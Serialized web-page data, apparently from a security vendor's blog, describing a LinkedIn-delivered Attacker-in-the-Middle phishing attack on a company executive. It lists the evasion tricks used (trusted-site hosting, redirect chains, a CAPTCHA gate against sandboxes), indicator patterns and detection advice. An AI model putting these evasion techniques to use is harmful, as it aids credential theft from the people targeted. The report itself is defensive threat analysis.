to handle both Microsoft and Google users. ",{"data":120897,"content":120900,"nodeType":925},{"target":120898},{"sys":120899},{"id":114423,"type":922,"linkType":923},[],{"data":120902,"content":120903,"nodeType":866},{},[120904],{"data":120905,"marks":120906,"value":120907,"nodeType":865},{},[],"Upon clicking a button, Google Search was used as a redirect before taking the victim to a second page hosted on Microsoft Dynamics. This page was styled to look like Google Drive, where the victim was prompted to enter their last name and email into the form. ",{"data":120909,"content":120913,"nodeType":925},{"target":120910},{"sys":120911},{"id":120912,"type":922,"linkType":923},"4fJ3JUdGcuRTa2Nza9QhkU",[],{"data":120915,"content":120916,"nodeType":866},{},[120917],{"data":120918,"marks":120919,"value":120920,"nodeType":865},{},[],"Upon entering their details and clicking submit, the victim was finally sent to an  Attacker-in-the-Middle (AitM) phishing page. ",{"data":120922,"content":120923,"nodeType":866},{},[120924],{"data":120925,"marks":120926,"value":120927,"nodeType":865},{},[],"To access the page, the victim had to solve a custom CAPTCHA challenge, which we’ve observed in a number of recent phishing attacks that we’ve linked to the Tycoon 2FA phishing kit.  ",{"data":120929,"content":120933,"nodeType":925},{"target":120930},{"sys":120931},{"id":120932,"type":922,"linkType":923},"4Yu36QHTzSBZSg00QpbD1o",[],{"data":120935,"content":120936,"nodeType":866},{},[120937,120941,120946],{"data":120938,"marks":120939,"value":120940,"nodeType":865},{},[],"Because the customer had configured Push’s ",{"data":120942,"marks":120943,"value":120945,"nodeType":865},{},[120944],{"type":961},"phishing tool detection control",{"data":120947,"marks":120948,"value":120949,"nodeType":865},{},[]," in block mode, the Push browser agent flagged the page as malicious to the user and prevented the attack from continuing. ",{"data":120951,"content":120954,"nodeType":925},{"target":120952},{"sys":120953},{"id":114429,"type":922,"linkType":923},[],{"data":120956,"content":120957,"nodeType":866},{},[120958],{"data":120959,"marks":120960,"value":120961,"nodeType":865},{},[],"This detection was hooked by the customer’s security lake to trigger their security incident response workflow for further investigation. Push’s timelines feature ensured that the full chain of URLs accessed and actions performed on different pages could be analyzed by the security team. ",{"data":120963,"content":120967,"nodeType":925},{"target":120964},{"sys":120965},{"id":120966,"type":922,"linkType":923},"4S8J7zmi6Q5wOt9vQHUe6l",[],{"data":120969,"content":120970,"nodeType":953},{},[],{"data":120972,"content":120973,"nodeType":963},{},[120974],{"data":120975,"marks":120976,"value":120978,"nodeType":865},{},[120977],{"type":961},"Notable techniques",{"data":120980,"content":120981,"nodeType":866},{},[120982],{"data":120983,"marks":120984,"value":120985,"nodeType":865},{},[],"This attack featured a number of notable attacker techniques designed to evade common phishing detection controls. ",{"data":120987,"content":120988,"nodeType":1458},{},[120989],{"data":120990,"marks":120991,"value":120993,"nodeType":865},{},[120992],{"type":961},"Delivering the phishing lure via LinkedIn",{"data":120995,"content":120996,"nodeType":866},{},[120997,121001,121010],{"data":120998,"marks":120999,"value":121000,"nodeType":865},{},[],"Using ",{"data":121002,"content":121004,"nodeType":882},{"uri":121003},"https://phishing-techniques.pushsecurity.com/techniques/social-media/",[121005],{"data":121006,"marks":121007,"value":121009,"nodeType":865},{},[121008],{"type":997},"social media sites like LinkedIn",{"data":121011,"marks":121012,"value":121013,"nodeType":865},{},[]," to deliver a phishing message has a number of advantages for the attacker. Generally, users are less alert to phishing attempts on social platforms, particularly those like LinkedIn which are used for personal as well as work purposes. ",{"data":121015,"content":121016,"nodeType":866},{},[121017],{"data":121018,"marks":121019,"value":121020,"nodeType":865},{},[],"However, the primary benefit of delivering phishing over LinkedIn is to evade email-based detection controls. With modern email security tools conducting various stages of analysis, such as analysing the URL, attempting to inspect the page in a web sandbox, and analyzing the written content of an email for possible malicious intent, it can be easier for attackers to simply bypass email altogether. ",{"data":121022,"content":121023,"nodeType":866},{},[121024],{"data":121025,"marks":121026,"value":121027,"nodeType":865},{},[],"With modern work communications now happening over several platforms, sites like LinkedIn where users can be directly messaged by people outside the organization, but are often accessed from work devices, are a prime target. ",{"data":121029,"content":121030,"nodeType":1458},{},[121031],{"data":121032,"marks":121033,"value":121035,"nodeType":865},{},[121034],{"type":961},"Using legitimate, trusted sites to host links",{"data":121037,"content":121038,"nodeType":866},{},[121039,121043,121051],{"data":121040,"marks":121041,"value":121042,"nodeType":865},{},[],"Attackers are increasingly ",{"data":121044,"content":121045,"nodeType":882},{"uri":114396},[121046],{"data":121047,"marks":121048,"value":121050,"nodeType":865},{},[121049],{"type":997},"using legitimate sites to host their phishing links",{"data":121052,"marks":121053,"value":121054,"nodeType":865},{},[]," and perform redirections. Fronting phishing attacks with pages hosted on legitimate sites, in combination with lengthy redirect chains, can make it harder for security tools which rely on analysing the initial page served to the victim. In this example, Google Sites, Google Search, and Microsoft Dynamics were used. ",{"data":121056,"content":121057,"nodeType":1458},{},[121058],{"data":121059,"marks":121060,"value":121062,"nodeType":865},{},[121061],{"type":961},"Using bot protection to defeat sandbox analysis tools",{"data":121064,"content":121065,"nodeType":866},{},[121066,121070,121078],{"data":121067,"marks":121068,"value":121069,"nodeType":865},{},[],"Email and proxy security tools rely on loading a page in a web sandbox to analyze it for properties matching their detection signatures. However, dynamic elements that require user interaction to proceed are known to break these sandboxes. The most common way of attackers doing this is by ",{"data":121071,"content":121072,"nodeType":882},{"uri":110666},[121073],{"data":121074,"marks":121075,"value":121077,"nodeType":865},{},[121076],{"type":997},"using legitimate bot protection",{"data":121079,"marks":121080,"value":121081,"nodeType":865},{},[]," technologies such as CAPTCHA and CloudFlare Turnstile. ",{"data":121083,"content":121084,"nodeType":1458},{},[121085],{"data":121086,"marks":121087,"value":121089,"nodeType":865},{},[121088],{"type":961},"Performing layered redirects at different stages",{"data":121091,"content":121092,"nodeType":866},{},[121093,121097,121105],{"data":121094,"marks":121095,"value":121096,"nodeType":865},{},[],"As already mentioned, the ",{"data":121098,"content":121099,"nodeType":882},{"uri":13757},[121100],{"data":121101,"marks":121102,"value":121104,"nodeType":865},{},[121103],{"type":997},"chain of redirects",{"data":121106,"marks":121107,"value":121108,"nodeType":865},{},[]," across different sites was particularly notable in this case (you can see this in the timeline screenshot provided above). To maximize the lifespan of a malicious domain, attackers are known to use various redirection tricks (often though legit sites that are often excluded from scanning tools). Using several redirections before serving the malicious page to break referrer-based checks that are common in proxy solutions and prevent the initial URLs seeded out from being discovered. By obfuscating the initial URL delivered to victims, and both masking and rotating the phishing URLs, it is much harder for organizations to blocklist known-bad sites effectively.",{"data":121110,"content":121113,"nodeType":925},{"target":121111},{"sys":121112},{"id":71049,"type":922,"linkType":923},[],{"data":121115,"content":121116,"nodeType":953},{},[],{"data":121118,"content":121119,"nodeType":963},{},[121120],{"data":121121,"marks":121122,"value":121124,"nodeType":865},{},[121123],{"type":961},"Indicators of Compromise",{"data":121126,"content":121127,"nodeType":866},{},[121128],{"data":121129,"marks":121130,"value":121131,"nodeType":865},{},[],"Static IoCs are of limited value in this case due to the use of disposable pages designed to be used once and then rotated. In this case, the page hosting the malicious AITM kit has now been flagged by Google after being reported. This makes blocking specific malicious subdomains hosted on otherwise legitimate sites difficult. However, we have observed a consistent pattern in the attacks identified by Push:",{"data":121133,"content":121134,"nodeType":1049},{},[121135,121145,121155,121165],{"data":121136,"content":121137,"nodeType":1003},{},[121138],{"data":121139,"content":121140,"nodeType":866},{},[121141],{"data":121142,"marks":121143,"value":121144,"nodeType":865},{},[],"Phishing lure delivered over LinkedIn",{"data":121146,"content":121147,"nodeType":1003},{},[121148],{"data":121149,"content":121150,"nodeType":866},{},[121151],{"data":121152,"marks":121153,"value":121154,"nodeType":865},{},[],"Link to sites.google.com page (e.g. sites.google.com/view/\u003CINVESTMENTCOMPANY>-ai/home)",{"data":121156,"content":121157,"nodeType":1003},{},[121158],{"data":121159,"content":121160,"nodeType":866},{},[121161],{"data":121162,"marks":121163,"value":121164,"nodeType":865},{},[],"Link to Microsoft Dynamics page (e.g. [assets-usa.mkt].dynamics.com/...)",{"data":121166,"content":121167,"nodeType":1003},{},[121168],{"data":121169,"content":121170,"nodeType":866},{},[121171],{"data":121172,"marks":121173,"value":121174,"nodeType":865},{},[],"Link to (*).sa.com phishing page",{"data":121176,"content":121177,"nodeType":866},{},[121178],{"data":121179,"marks":121180,"value":121181,"nodeType":865},{},[],"Given the targeted nature of the attack, we recommend hunting for executive-level users accessing some combination of these URLs (and variants) in a short timespan.",{"data":121183,"content":121184,"nodeType":866},{},[121185],{"data":121186,"marks":121187,"value":121188,"nodeType":865},{},[],"We also recommend informing your executive team about the rise in LinkedIn phishing attacks and the specific nature of the investment opportunity lure.",{"data":121190,"content":121191,"nodeType":953},{},[],{"data":121193,"content":121194,"nodeType":963},{},[121195],{"data":121196,"marks":121197,"value":13624,"nodeType":865},{},[121198],{"type":961},{"data":121200,"content":121201,"nodeType":866},{},[121202],{"data":121203,"marks":121204,"value":121205,"nodeType":865},{},[],"There aren’t many more valuable accounts than those belonging to your company executives. Compromising a Google Workspace account doesn’t just give the attacker access to the Workspace tenant, emails, chat, etc. — it also grants access to any accounts on downstream apps configured for SSO. The blast radius of such a compromise is pretty widespread, giving plenty of scope for further exploitation for an attacker with a clear idea of what they want to achieve. ",{"data":121207,"content":121208,"nodeType":866},{},[121209,121213,121222,121225,121234,121238,121245],{"data":121210,"marks":121211,"value":121212,"nodeType":865},{},[],"In short, stopping this attack at the earliest opportunity was a significant benefit. Even if the attack had been later stopped following the compromise and the stolen account reset, unpicking the web of potentially compromised downstream accounts that may have been accessed and backdoored by the attacker (such as by configuring stealthy persistence mechanisms like ",{"data":121214,"content":121216,"nodeType":882},{"uri":121215},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md",[121217],{"data":121218,"marks":121219,"value":121221,"nodeType":865},{},[121220],{"type":997},"evil twin integrations",{"data":121223,"marks":121224,"value":2186,"nodeType":865},{},[],{"data":121226,"content":121228,"nodeType":882},{"uri":121227},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/api_keys/description.md",[121229],{"data":121230,"marks":121231,"value":121233,"nodeType":865},{},[121232],{"type":997},"API keys",{"data":121235,"marks":121236,"value":121237,"nodeType":865},{},[]," or other ",{"data":121239,"content":121240,"nodeType":882},{"uri":74099},[121241],{"data":121242,"marks":121243,"value":87167,"nodeType":865},{},[121244],{"type":997},{"data":121246,"marks":121247,"value":121248,"nodeType":865},{},[]," methods) presents a sizable overhead for the security team.     ",{"data":121250,"content":121251,"nodeType":953},{},[],{"data":121253,"content":121254,"nodeType":963},{},[121255],{"data":121256,"marks":121257,"value":1704,"nodeType":865},{},[121258],{"type":961},{"data":121260,"content":121261,"nodeType":866},{},[121262],{"data":121263,"marks":121264,"value":121265,"nodeType":865},{},[],"Two key features played a part in this detection, which you can read more about below:",{"data":121267,"content":121268,"nodeType":1049},{},[121269,121289],{"data":121270,"content":121271,"nodeType":1003},{},[121272],{"data":121273,"content":121274,"nodeType":866},{},[121275,121278,121286],{"data":121276,"marks":121277,"value":21,"nodeType":865},{},[],{"data":121279,"content":121280,"nodeType":882},{"uri":87348},[121281],{"data":121282,"marks":121283,"value":121285,"nodeType":865},{},[121284],{"type":997},"Phishing attack detection",{"data":121287,"marks":121288,"value":21,"nodeType":865},{},[],{"data":121290,"content":121291,"nodeType":1003},{},[121292],{"data":121293,"content":121294,"nodeType":866},{},[121295,121298,121307],{"data":121296,"marks":121297,"value":21,"nodeType":865},{},[],{"data":121299,"content":121301,"nodeType":882},{"uri":121300},"https://pushsecurity.com/blog/introducing-push-detections/",[121302],{"data":121303,"marks":121304,"value":121306,"nodeType":865},{},[121305],{"type":997},"Push detection and response capabilities inc. timeline visibility ",{"data":121308,"marks":121309,"value":21,"nodeType":865},{},[],{"data":121311,"content":121312,"nodeType":866},{},[121313,121317,121322,121326,121333],{"data":121314,"marks":121315,"value":121316,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that ",{"data":121318,"marks":121319,"value":121321,"nodeType":865},{},[121320],{"type":961},"Push sees what your users see",{"data":121323,"marks":121324,"value":121325,"nodeType":865},{},[],". It doesn’t matter what ",{"data":121327,"content":121328,"nodeType":882},{"uri":13634},[121329],{"data":121330,"marks":121331,"value":71006,"nodeType":865},{},[121332],{"type":997},{"data":121334,"marks":121335,"value":121336,"nodeType":865},{},[],", Push detects and blocks attacks by identifying the attack in real time, as the user loads the page in their web browser.",{"data":121338,"content":121339,"nodeType":866},{},[121340],{"data":121341,"marks":121342,"value":121343,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You don’t need to wait until it all goes wrong — you can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":121345,"content":121346,"nodeType":866},{},[121347,121350,121357],{"data":121348,"marks":121349,"value":115837,"nodeType":865},{},[],{"data":121351,"content":121352,"nodeType":882},{"uri":13728},[121353],{"data":121354,"marks":121355,"value":22730,"nodeType":865},{},[121356],{"type":997},{"data":121358,"marks":121359,"value":1048,"nodeType":865},{},[],"How Push saved a company exec from a sophisticated Attacker-in-the-Middle phishing attack delivered via a LinkedIn direct message.",{"items":121362},[121363,121365],{"sys":121364,"name":342},{"id":8410},{"sys":121366,"name":11426},{"id":11425},{"items":121368},[121369],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":121370},{"url":11434},{"__typename":1788,"sys":121372,"content":121373,"title":94407,"synopsis":94408,"hashTags":59,"publishedDate":94409,"slug":94410,"tagsCollection":121870,"authorsCollection":121876},{"id":93833},{"json":121374},{"data":121375,"content":121376,"nodeType":1739},{},[121377,121383,121389,121399,121404,121410,121413,121420,121426,121431,121444,121450,121471,121477,121482,121485,121492,121518,121523,121539,121544,121560,121566,121571,121574,121581,121587,121603,121609,121625,121631,121636,121639,121646,121652,121682,121688,121694,121734,121749,121758,121764,121767,121774,121790,121796,121802,121807,121810,121817,121833,121859,121864],{"data":121378,"content":121379,"nodeType":866},{},[121380],{"data":121381,"marks":121382,"value":93844,"nodeType":865},{},[],{"data":121384,"content":121385,"nodeType":866},{},[121386],{"data":121387,"marks":121388,"value":93851,"nodeType":865},{},[],{"data":121390,"content":121391,"nodeType":866},{},[121392,121395],{"data":121393,"marks":121394,"value":93858,"nodeType":865},{},[],{"data":121396,"marks":121397,"value":93863,"nodeType":865},{},[121398],{"type":961},{"data":121400,"content":121403,"nodeType":925},{"target":121401},{"sys":121402},{"id":70496,"type":922,"linkType":923},[],{"data":121405,"content":121406,"nodeType":866},{},[121407],{"data":121408,"marks":121409,"value":93875,"nodeType":865},{},[],{"data":121411,"content":121412,"nodeType":953},{},[],{"data":121414,"content":121415,"nodeType":963},{},[121416],{"data":121417,"marks":121418,"value":93886,"nodeType":865},{},[121419],{"type":961},{"data":121421,"content":121422,"nodeType":866},{},[121423],{"data":121424,"marks":121425,"value":93893,"nodeType":865},{},[],{"data":121427,"content":121430,"nodeType":925},{"target":121428},{"sys":121429},{"id":93898,"type":922,"linkType":923},[],{"data":121432,"content":121433,"nodeType":866},{},[121434,121437,121441],{"data":121435,"marks":121436,"value":93906,"nodeType":865},{},[],{"data":121438,"marks":121439,"value":93911,"nodeType":865},{},[121440],{"type":961},{"data":121442,"marks":121443,"value":93915,"nodeType":865},{},[],{"data":121445,"content":121446,"nodeType":866},{},[121447],{"data":121448,"marks":121449,"value":93922,"nodeType":865},{},[],{"data":121451,"content":121452,"nodeType":1049},{},[121453,121462],{"data":121454,"content":121455,"nodeType":1003},{},[121456],{"data":121457,"content":121458,"nodeType":866},{},[121459],{"data":121460,"marks":121461,"value":93935,"nodeType":865},{},[],{"data":121463,"content":121464,"nodeType":1003},{},[121465],{"data":121466,"content":121467,"nodeType":866},{},[121468],{"data":121469,"marks":121470,"value":93945,"nodeType":865},{},[],{"data":121472,"content":121473,"nodeType":866},{},[121474],{"data":121475,"marks":121476,"value":93952,"nodeType":865},{},[],{"data":121478,"content":121481,"nodeType":925},{"target":121479},{"sys":121480},{"id":93957,"type":922,"linkType":923},[],{"data":121483,"content":121484,"nodeType":953},{},[],{"data":121486,"content":121487,"nodeType":963},{},[121488],{"data":121489,"marks":121490,"value":93969,"nodeType":865},{},[121491],{"type":961},{"data":121493,"content":121494,"nodeType":866},{},[121495,121498,121505,121508,121515],{"data":121496,"marks":121497,"value":93976,"nodeType":865},{},[],{"data":121499,"content":121500,"nodeType":882},{"uri":70507},[121501],{"data":121502,"marks":121503,"value":93984,"nodeType":865},{},[121504],{"type":997},{"data":121506,"marks":121507,"value":93988,"nodeType":865},{},[],{"data":121509,"content":121510,"nodeType":882},{"uri":93991},[121511],{"data":121512,"marks":121513,"value":93997,"nodeType":865},{},[121514],{"type":997},{"data":121516,"marks":121517,"value":94001,"nodeType":865},{},[],{"data":121519,"content":121522,"nodeType":925},{"target":121520},{"sys":121521},{"id":94006,"type":922,"linkType":923},[],{"data":121524,"content":121525,"nodeType":866},{},[121526,121529,121536],{"data":121527,"marks":121528,"value":94014,"nodeType":865},{},[],{"data":121530,"content":121531,"nodeType":882},{"uri":94017},[121532],{"data":121533,"marks":121534,"value":94023,"nodeType":865},{},[121535],{"type":997},{"data":121537,"marks":121538,"value":22525,"nodeType":865},{},[],{"data":121540,"content":121543,"nodeType":925},{"target":121541},{"sys":121542},{"id":94031,"type":922,"linkType":923},[],{"data":121545,"content":121546,"nodeType":866},{},[121547,121550,121557],{"data":121548,"marks":121549,"value":94039,"nodeType":865},{},[],{"data":121551,"content":121552,"nodeType":882},{"uri":94042},[121553],{"data":121554,"marks":121555,"value":29898,"nodeType":865},{},[121556],{"type":997},{"data":121558,"marks":121559,"value":94051,"nodeType":865},{},[],{"data":121561,"content":121562,"nodeType":866},{},[121563],{"data":121564,"marks":121565,"value":94058,"nodeType":865},{},[],{"data":121567,"content":121570,"nodeType":925},{"target":121568},{"sys":121569},{"id":94063,"type":922,"linkType":923},[],{"data":121572,"content":121573,"nodeType":953},{},[],{"data":121575,"content":121576,"nodeType":963},{},[121577],{"data":121578,"marks":121579,"value":94075,"nodeType":865},{},[121580],{"type":961},{"data":121582,"content":121583,"nodeType":866},{},[121584],{"data":121585,"marks":121586,"value":94082,"nodeType":865},{},[],{"data":121588,"content":121589,"nodeType":866},{},[121590,121593,121600],{"data":121591,"marks":121592,"value":94089,"nodeType":865},{},[],{"data":121594,"content":121595,"nodeType":882},{"uri":94092},[121596],{"data":121597,"marks":121598,"value":94098,"nodeType":865},{},[121599],{"type":997},{"data":121601,"marks":121602,"value":94102,"nodeType":865},{},[],{"data":121604,"content":121605,"nodeType":866},{},[121606],{"data":121607,"marks":121608,"value":94109,"nodeType":865},{},[],{"data":121610,"content":121611,"nodeType":866},{},[121612,121615,121622],{"data":121613,"marks":121614,"value":94116,"nodeType":865},{},[],{"data":121616,"content":121617,"nodeType":882},{"uri":94119},[121618],{"data":121619,"marks":121620,"value":94125,"nodeType":865},{},[121621],{"type":997},{"data":121623,"marks":121624,"value":94129,"nodeType":865},{},[],{"data":121626,"content":121627,"nodeType":866},{},[121628],{"data":121629,"marks":121630,"value":94136,"nodeType":865},{},[],{"data":121632,"content":121635,"nodeType":925},{"target":121633},{"sys":121634},{"id":94141,"type":922,"linkType":923},[],{"data":121637,"content":121638,"nodeType":953},{},[],{"data":121640,"content":121641,"nodeType":963},{},[121642],{"data":121643,"marks":121644,"value":94153,"nodeType":865},{},[121645],{"type":961},{"data":121647,"content":121648,"nodeType":866},{},[121649],{"data":121650,"marks":121651,"value":94160,"nodeType":865},{},[],{"data":121653,"content":121654,"nodeType":1049},{},[121655,121664,121673],{"data":121656,"content":121657,"nodeType":1003},{},[121658],{"data":121659,"content":121660,"nodeType":866},{},[121661],{"data":121662,"marks":121663,"value":94173,"nodeType":865},{},[],{"data":121665,"content":121666,"nodeType":1003},{},[121667],{"data":121668,"content":121669,"nodeType":866},{},[121670],{"data":121671,"marks":121672,"value":94183,"nodeType":865},{},[],{"data":121674,"content":121675,"nodeType":1003},{},[121676],{"data":121677,"content":121678,"nodeType":866},{},[121679],{"data":121680,"marks":121681,"value":94193,"nodeType":865},{},[],{"data":121683,"content":121684,"nodeType":866},{},[121685],{"data":121686,"marks":121687,"value":94200,"nodeType":865},{},[],{"data":121689,"content":121690,"nodeType":866},{},[121691],{"data":121692,"marks":121693,"value":94207,"nodeType":865},{},[],{"data":121695,"content":121696,"nodeType":1049},{},[121697,121716,121725],{"data":121698,"content":121699,"nodeType":1003},{},[121700],{"data":121701,"content":121702,"nodeType":866},{},[121703,121706,121713],{"data":121704,"marks":121705,"value":94220,"nodeType":865},{},[],{"data":121707,"content":121708,"nodeType":882},{"uri":94223},[121709],{"data":121710,"marks":121711,"value":94229,"nodeType":865},{},[121712],{"type":997},{"data":121714,"marks":121715,"value":94233,"nodeType":865},{},[],{"data":121717,"content":121718,"nodeType":1003},{},[121719],{"data":121720,"content":121721,"nodeType":866},{},[121722],{"data":121723,"marks":121724,"value":94243,"nodeType":865},{},[],{"data":121726,"content":121727,"nodeType":1003},{},[121728],{"data":121729,"content":121730,"nodeType":866},{},[121731],{"data":121732,"marks":121733,"value":94253,"nodeType":865},{},[],{"data":121735,"content":121736,"nodeType":866},{},[121737,121740,121746],{"data":121738,"marks":121739,"value":94260,"nodeType":865},{},[],{"data":121741,"content":121742,"nodeType":882},{"uri":74512},[121743],{"data":121744,"marks":121745,"value":94267,"nodeType":865},{},[],{"data":121747,"marks":121748,"value":94271,"nodeType":865},{},[],{"data":121750,"content":121751,"nodeType":11214},{},[121752],{"data":121753,"content":121754,"nodeType":866},{},[121755],{"data":121756,"marks":121757,"value":94281,"nodeType":865},{},[],{"data":121759,"content":121760,"nodeType":866},{},[121761],{"data":121762,"marks":121763,"value":94288,"nodeType":865},{},[],{"data":121765,"content":121766,"nodeType":953},{},[],{"data":121768,"content":121769,"nodeType":963},{},[121770],{"data":121771,"marks":121772,"value":94299,"nodeType":865},{},[121773],{"type":961},{"data":121775,"content":121776,"nodeType":866},{},[121777,121780,121787],{"data":121778,"marks":121779,"value":94306,"nodeType":865},{},[],{"data":121781,"content":121782,"nodeType":882},{"uri":94309},[121783],{"data":121784,"marks":121785,"value":94315,"nodeType":865},{},[121786],{"type":997},{"data":121788,"marks":121789,"value":94319,"nodeType":865},{},[],{"data":121791,"content":121792,"nodeType":866},{},[121793],{"data":121794,"marks":121795,"value":94326,"nodeType":865},{},[],{"data":121797,"content":121798,"nodeType":866},{},[121799],{"data":121800,"marks":121801,"value":94333,"nodeType":865},{},[],{"data":121803,"content":121806,"nodeType":925},{"target":121804},{"sys":121805},{"id":94338,"type":922,"linkType":923},[],{"data":121808,"content":121809,"nodeType":953},{},[],{"data":121811,"content":121812,"nodeType":963},{},[121813],{"data":121814,"marks":121815,"value":16192,"nodeType":865},{},[121816],{"type":961},{"data":121818,"content":121819,"nodeType":866},{},[121820,121823,121830],{"data":121821,"marks":121822,"value":94356,"nodeType":865},{},[],{"data":121824,"content":121825,"nodeType":882},{"uri":94359},[121826],{"data":121827,"marks":121828,"value":94365,"nodeType":865},{},[121829],{"type":997},{"data":121831,"marks":121832,"value":94369,"nodeType":865},{},[],{"data":121834,"content":121835,"nodeType":866},{},[121836,121839,121846,121849,121856],{"data":121837,"marks":121838,"value":32401,"nodeType":865},{},[],{"data":121840,"content":121841,"nodeType":882},{"uri":22700},[121842],{"data":121843,"marks":121844,"value":22706,"nodeType":865},{},[121845],{"type":997},{"data":121847,"marks":121848,"value":71034,"nodeType":865},{},[],{"data":121850,"content":121851,"nodeType":882},{"uri":1728},[121852],{"data":121853,"marks":121854,"value":22730,"nodeType":865},{},[121855],{"type":997},{"data":121857,"marks":121858,"value":1048,"nodeType":865},{},[],{"data":121860,"content":121863,"nodeType":925},{"target":121861},{"sys":121862},{"id":93957,"type":922,"linkType":923},[],{"data":121865,"content":121866,"nodeType":866},{},[121867],{"data":121868,"marks":121869,"value":21,"nodeType":865},{},[],{"items":121871},[121872,121874],{"sys":121873,"name":342},{"id":8410},{"sys":121875,"name":11426},{"id":11425},{"items":121877},[121878],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":121879},{"url":11434},"blog/why-attackers-are-moving-beyond-email-based-phishing",{"json":121882},{"data":121883,"content":121884,"nodeType":1739},{},[121885],{"data":121886,"content":121887,"nodeType":866},{},[121888],{"data":121889,"marks":121890,"value":121891,"nodeType":865},{},[],"Attackers are increasingly sending phishing links over non-email delivery channels like social media, instant messaging apps, and malicious search engine ads. In this article, we explore why phishing attacks are moving away from exclusively email-based delivery, and what this means for security teams. ",{"id":114094,"publishedAt":121893},"2026-08-12T11:53:47.767Z",{"items":121895},[121896,121898],{"sys":121897,"name":11426},{"id":11425},{"sys":121899,"name":342},{"id":8410},{"items":121901},[121902,121904,121906,121908,121910,121912,121914,121916,121918,121920,121922,121924,121926,121928,121930],{"sys":121903,"name":279,"slug":280,"tier":31},{"id":276},{"sys":121905,"name":519,"slug":520,"tier":31},{"id":516},{"sys":121907,"name":342,"slug":343,"tier":31},{"id":339},{"sys":121909,"name":642,"slug":643,"tier":31},{"id":639},{"sys":121911,"name":475,"slug":476,"tier":45},{"id":472},{"sys":121913,"name":261,"slug":262,"tier":45},{"id":258},{"sys":121915,"name":466,"slug":467,"tier":45},{"id":463},{"sys":121917,"name":571,"slug":572,"tier":45},{"id":568},{"sys":121919,"name":440,"slug":441,"tier":45},{"id":437},{"sys":121921,"name":563,"slug":564,"tier":45},{"id":560},{"sys":121923,"name":607,"slug":608,"tier":45},{"id":604},{"sys":121925,"name":324,"slug":325,"tier":45},{"id":321},{"sys":121927,"name":431,"slug":432,"tier":45},{"id":428},{"sys":121929,"name":422,"slug":423,"tier":45},{"id":419},{"sys":121931,"name":315,"slug":316,"tier":45},{"id":312},"fbpSzWbg3UO8kZAw1BoRcf-UuQx5faRvyNk3RZcKfUQ",{"id":121934,"title":115849,"authorsCollection":121935,"content":121940,"extension":228,"faqItemsCollection":122539,"faqTitle":59,"featured":6,"hashTags":59,"meta":122541,"metaTitle":122542,"ogImage":122543,"postType":1783,"publishedDate":115851,"relatedBlogPostsCollection":122545,"slug":115852,"stem":124936,"subtitle":59,"summary":124937,"synopsis":115850,"sys":124948,"tagsCollection":124950,"topicsCollection":124956,"__hash__":125004},"blog/blog/6-browser-based-attacks-every-security-team-should-be-prepared-for.json",{"items":121936},[121937],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":121938,"profilePicture":121939},[17536],{"url":11434},{"json":121941,"links":122493},{"data":121942,"content":121943,"nodeType":1739},{},[121944,121957,121963,121966,121973,121979,121985,122001,122006,122012,122018,122024,122030,122033,122040,122046,122051,122057,122064,122070,122076,122081,122097,122102,122108,122114,122120,122125,122128,122135,122151,122157,122183,122189,122195,122200,122206,122212,122218,122221,122228,122243,122248,122254,122260,122265,122271,122277,122280,122287,122293,122309,122345,122351,122357,122363,122366,122373,122379,122385,122391,122394,122401,122407,122433,122449,122455,122458,122465,122471,122477],{"data":121945,"content":121946,"nodeType":866},{},[121947,121950,121954],{"data":121948,"marks":121949,"value":115221,"nodeType":865},{},[],{"data":121951,"marks":121952,"value":115226,"nodeType":865},{},[121953],{"type":944},{"data":121955,"marks":121956,"value":115230,"nodeType":865},{},[],{"data":121958,"content":121959,"nodeType":866},{},[121960],{"data":121961,"marks":121962,"value":115237,"nodeType":865},{},[],{"data":121964,"content":121965,"nodeType":953},{},[],{"data":121967,"content":121968,"nodeType":963},{},[121969],{"data":121970,"marks":121971,"value":115248,"nodeType":865},{},[121972],{"type":961},{"data":121974,"content":121975,"nodeType":866},{},[121976],{"data":121977,"marks":121978,"value":115255,"nodeType":865},{},[],{"data":121980,"content":121981,"nodeType":866},{},[121982],{"data":121983,"marks":121984,"value":115262,"nodeType":865},{},[],{"data":121986,"content":121987,"nodeType":866},{},[121988,121991,121998],{"data":121989,"marks":121990,"value":115269,"nodeType":865},{},[],{"data":121992,"content":121993,"nodeType":882},{"uri":115272},[121994],{"data":121995,"marks":121996,"value":37719,"nodeType":865},{},[121997],{"type":997},{"data":121999,"marks":122000,"value":115281,"nodeType":865},{},[],{"data":122002,"content":122005,"nodeType":925},{"target":122003},{"sys":122004},{"id":115286,"type":922,"linkType":923},[],{"data":122007,"content":122008,"nodeType":866},{},[122009],{"data":122010,"marks":122011,"value":115294,"nodeType":865},{},[],{"data":122013,"content":122014,"nodeType":866},{},[122015],{"data":122016,"marks":122017,"value":115301,"nodeType":865},{},[],{"data":122019,"content":122020,"nodeType":866},{},[122021],{"data":122022,"marks":122023,"value":115308,"nodeType":865},{},[],{"data":122025,"content":122026,"nodeType":866},{},[122027],{"data":122028,"marks":122029,"value":115315,"nodeType":865},{},[],{"data":122031,"content":122032,"nodeType":953},{},[],{"data":122034,"content":122035,"nodeType":963},{},[122036],{"data":122037,"marks":122038,"value":115326,"nodeType":865},{},[122039],{"type":961},{"data":122041,"content":122042,"nodeType":866},{},[122043],{"data":122044,"marks":122045,"value":115333,"nodeType":865},{},[],{"data":122047,"content":122050,"nodeType":925},{"target":122048},{"sys":122049},{"id":115338,"type":922,"linkType":923},[],{"data":122052,"content":122053,"nodeType":866},{},[122054],{"data":122055,"marks":122056,"value":115346,"nodeType":865},{},[],{"data":122058,"content":122059,"nodeType":1458},{},[122060],{"data":122061,"marks":122062,"value":115354,"nodeType":865},{},[122063],{"type":961},{"data":122065,"content":122066,"nodeType":866},{},[122067],{"data":122068,"marks":122069,"value":115361,"nodeType":865},{},[],{"data":122071,"content":122072,"nodeType":866},{},[122073],{"data":122074,"marks":122075,"value":115368,"nodeType":865},{},[],{"data":122077,"content":122080,